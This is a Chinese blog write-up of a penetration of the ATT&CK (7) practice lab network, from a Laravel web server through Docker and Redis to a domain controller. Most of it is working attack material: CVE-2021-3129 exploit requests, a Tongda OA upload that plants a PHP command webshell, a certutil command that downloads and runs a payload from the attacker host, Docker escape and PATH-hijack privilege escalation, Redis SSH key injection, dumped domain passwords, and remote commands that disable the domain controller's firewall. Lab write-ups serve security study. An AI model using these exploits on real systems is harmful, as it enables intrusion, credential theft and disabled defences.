ATT&CK(七)

image.png开局

目标地址: 10.10.10.10
进行端口扫描

nmap -p 1-65535  10.10.10.10

image.png
端口还带有6376端口 ,redis数据库,先去看看web端
存在 81 web 端口 ,进行访问
image.png是一个 Laravel v8.29.0 (PHP v7.4.14)
对这个Laravel v8.29.0 进行搜索是否存在历史漏洞
是存在RCE漏洞的

Laravel Debug mode RCE(CVE-2021-3129)

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

image.png

漏洞复现

一:首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的):

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image.png
得到POC(编码后) 在后面加个a
发送如下数据包,将Laravel的原日志文件laravel.log清空:

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

再发一个数据包,给Log增加一次前缀,用于对齐

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

但是我这里报错了,到这里就
image.png
先不管,继续,这次发送刚才生成的POC
image.png
还是报错的 。。。。。先跟着复现思路走吧
发送如下数据包,清空对log文件中的干扰字符,只留下POC:

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径)image.png
根据这个复现,看来是不成功的 发送数据包 (后面再来看看这种方法)
失败了 ,我们还是用github提供的脚步去获取webshell 吧
EXP地址: https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
image.png
但是这里连接就要使用老版本哥斯拉去连接了 3.0 以下才能连接
进行连接
image.png
成功获取webshell了
当我们查看hostname的时候,发现名字是一串数字???
image.png
这个就不太对 ,看看是否是存在docker环境

cat /proc/self/cgroup  #查看是否是docker容器的常用命令

image.png
这么一看全是docker容器

Docker逃逸(提权)

Linux环境变量提权

使用find命令来搜索具有SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null

通过这条命令,可以遍历任何可执行文件
image.png

/home/jobs/shell

存在一个shell文件
ls -la 查看一下
image.png
的确是一个可执行文件
但是这里不知为何一直进不去 、其他目录,
image.png就新建了webshell 换成蚁剑去连接
image.png
这里是可以成功切换路径的
使用蚁剑反弹一个shell过来,然后在shell中执行如下命令:
image.png
写一个bash 反弹shell,反弹到kali上
image.png
执行以下命令获取root权限

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了

image.png
这样就获取root权限了 ,但是这里依然还是docker容器

Docker 特权模式逃逸

创建一个 hack目录
把/dev/sda1 挂载到 /hack 上
image.png
这样就成功挂载了
image.png
可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

web_delivery模块 (写计划任务)
use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.10.11
set lport 4444
exploit  / run

image.png
由于目标docker环境没有wget 环境 ,自己把文件下载下来,放到/hack/tmp 目录下。
image.png
然后赋可执行权限,然后运行反弹shell 给msf
image.png
不对,我使用这个方法还是失败了 。(后面再试)
这里使用github 大佬的逃逸提权进行 逃逸

第一台ubuntu

一键逃逸 (0D25F57C.png

大佬脚本 : https://github.com/SPuerBRead/shovel

 ./shovel   -r -m reverse -I 10.10.10.11 -P 8888 -y

image.png
image.png
超快逃逸脚本 我称为 0D33146F.png
拿到权限先看存在那些内网网段
image.png
发现存在

192.168.52.20/24
192.168.93.10/24 

网段,但是我们访问的 10.10.10.10 咋不见了 ,这里可能是做了反向代理的
刚才扫描端口的时候还存在一个6379 redis 数据库
看看尝一下是否存在未授权访问

第二台 ubuntu

直接使用redis -h IP 默认连接方式去连接
image.png
成功连接了
目标主机上写入SSH公钥。 先在攻击机上生成ssh公钥:

ssh-keygen -t rsa

然后将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数。

image.png
攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

image.png
然后直接使用 ssh 10.10.10.10 直接连接
image.png
这台redis 才是 10.10.10.10 IP的主机 ,到现在已经获取两台主机了
切都是root权限
看来目标网站应该是做了反向代理,查看Nginx 的配置文件
image.png

81端口,就是指向的是一开始那台带有docker容器的ubuntu
两台Ubuntu 主机 一台Nginx反向代理 ,一台web服务器

DMZ区域的Ubuntu 18192.168.1.8
第二层网络的Ubuntu 14192.168.52.20

内网

在DMZ区的ubuntu 上面搭建一个代理 。然后把这个shell 传给msf
image.png
添加一个通往192.168.52.0 的 路由
image.png
kali 本地我也搭建了路由的
image.png
使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

image.png
很快就探索出一台了
image.png
就探测出192.168.52.30 这台主机 ,

防火墙问题

这里不管是搭建什么代理 ,一开始搭建的 Venom ,不行我还以为是软件出问题了不支持,又换了frp,结果还是超时,然后看了别人使用ew 我也用了还是超时
image.png
image.png
只能说ew 在这里还不错 ,在web端的OA系统他起码能访问到一点界面
kali端 访问出来是这个 ,这个也看不出来是这个啥东西
image.png
他这台win7 PC1 的 防火墙是有点问题的
然后使用MSF 测试 是否存在 ms17-010 漏洞
image.png然后去进行测试。ms17-010 漏洞
image.png
还是不成功 ,接着想使用

auxiliary(admin/smb/ms17_010_command) 模块

去执行命令 ,
image.png
结果还是无效 (。。。。。)

被迫关闭防火墙(技术不到啊,哭死)

搭建代理 进行端口扫描 看看部署了啥服务

proxychains nmap -sT -Pn -sV  192.168.52.30 -F 

image.png
有一个8080 端口,是web服务 ,还是部署了Nginx的

第三台 Win7

通达OA

访问 http://192.168.52.30:8080/
image.png
欧 OA系统,通达OA存在很多漏洞的。
可以查看peiqi大佬的wiki 看是否存在漏洞
image.png
先查看这个OA系统是那个版本再对其查看相应漏洞
http://192.168.52.30:8080/inc/expired.php
image.png
是存在漏洞的 ,要进行漏洞组合利用,先任意用户登录,再进行文件上传,然后文件包含 。

漏洞复现

登录出进行抓包
image.png
然后替换php文件为/logincheck_code.php,删除cookie ,在post内容后添加一个&UID=1
image.png
这样可以获取一个cookie

Set-Cookie: PHPSESSID=2210hf2go2dr6bthdem1stfik1; path=/

用获取的SESSID访问/general/
这里我存在不管怎么替换cookie都不可以绕过登录,我以前是复现过通达OA v11.5 这个不行我这里 ,尝试后面存在的未授权任意文件上传

未授权文件上传+文件包含

任意文件上传漏洞 点存在于 /ispirit/im/upload.php
POC

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--


会返回路径
image.png

+OK [vm]257@2307_1632898820|jpg|0[/vm]
路径是  2308/1632898820.jpg

在配合文件包含漏洞才能对其进行命令执行
POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=whoami


image.png
这是成功执行了的,ok 能执行命令
使用msfvenom 生成一个正向shell ,

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 151
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=certutil -urlcache -split -f http://192.168.52.10:8000/win5550.exe c:/win5550.exe

去访问下载 win5550.exe 这个shell 放到c盘
image.png
然后去执行它
image.png
回弹shell
image.png
成功上线 win7 了 ,

信息搜集 域

image.png

存在网段 
192.168.93.0/24 
192.168.52.0/24
域名  whoamianony.org

想通过ping 域名来定位域控结果好像不行
image.png
先上传fsan 进行一波扫描
image.png
由于权限较低,先使用注入进程 去提升一下权限
image.png
使用fscan 进行扫描一波
image.png

可用信息
*] NetBios: 192.168.93.20   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1 
[*] NetBios: 192.168.93.30   [+]DC DC.whoamianony.org            Windows Server 2012 R2 Datacenter 9600 
[*] NetBios: 192.168.93.1    WORKGROUP\0XO1                 
[+] 192.168.93.40       MS17-010        (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.93.30       MS17-010        (Windows Server 2012 R2 Datacenter 9600)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065  title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.93.20:8080 [通达OA] 
[*] WebTitle: http://192.168.93.1       code:200 len:0      title:None
[+] http://192.168.93.20:8080 tongda-user-session-disclosure 

DC域控 192.168.93.30
还有一台win7  存在ms17-010  192.168.93.40

先添加路由,然后对192.168.93.40 进行ms17-010 测试
结果还是打不通ms17-010
image.png
只能先抓取 密码了 ,再看看是否能进行横向
image.png

* Username : bunny
         * Domain   : WHOAMIANONY
         * Password : Bunny2021
  在这台上面之抓到了 域用户 bunny 没有抓到域控

第四台 win7

这里可以使用ms17-010 去攻击 192.168.93.40 但是这个东西占运气成分
当拿到第四台主机 win7 时候进行密码抓取就可以抓到 域控管理原密码 了
image.png

administrator:Whoami2021

域控 — winserver 2012 第五台

直接使用psexec

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

image.png
也是没有用的,可能开了防火墙
使用ipc连接关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

image.png
使用sc远程在域制器上创建服务,关闭防火墙

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

image.png
亲自查看防火墙关闭没
image.png正常关闭的
测试了次了
image.png
终于获取shell 了
(如果这里msf的session 很久了,可能获取不了shell ,不太稳定,一直超时)
image.png
到这里也是成功获取shell 了
image.png

有一台linux 我给关掉了 ,内存太小了容易卡 ,这个靶场就先到这里 ,文章很乱 。 就先丢blog上面去
我后面会完善到我自己的本地笔记上 。
难到也是不是很难,但是很多细节我不太了解,我失败的地方很多
比如 ,docker 逃逸我看大佬使用msf的的web_delivery模块 (写计划任务)逃逸我没有成功,写ssh 我就没有成功过,第一个漏洞RCE我使用burp也没有复现成功 ,到后面就一直报错,通达OA 获取cookie绕过登录也失败了,我在前面复现过通达另外一个绕过登录对成功了,这个他会到最后跳转到本版信息哪里 ,
还有个奇葩的点,为什么我看哪些大佬在第一台win7 抓到了域控的密码,我抓不到,只能获取第二天win7的权限才能抓取到域控的权限 ,奇葩
哎 这么写下来还是挺麻烦挺难的 我chao 😫。

  • 19
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值